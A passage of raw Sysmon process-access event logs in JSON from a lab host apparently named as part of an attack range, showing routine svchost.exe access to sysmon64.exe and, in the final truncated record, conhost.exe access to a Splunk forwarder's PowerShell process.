C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:38.979","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7987,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:38.979\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:38.979","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7988,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:38.979\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:38.979","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7989,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:38.979\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:38.979","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7990,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:38.979\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:38.979","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7991,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:38.979\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:38.979","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7992,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:38.979\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:38.979","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7993,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:38.979\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:38.979","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7994,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:38.979\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-431A-5F2D-0000-001075C80F00}\r\nTargetProcessId: 2964\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: 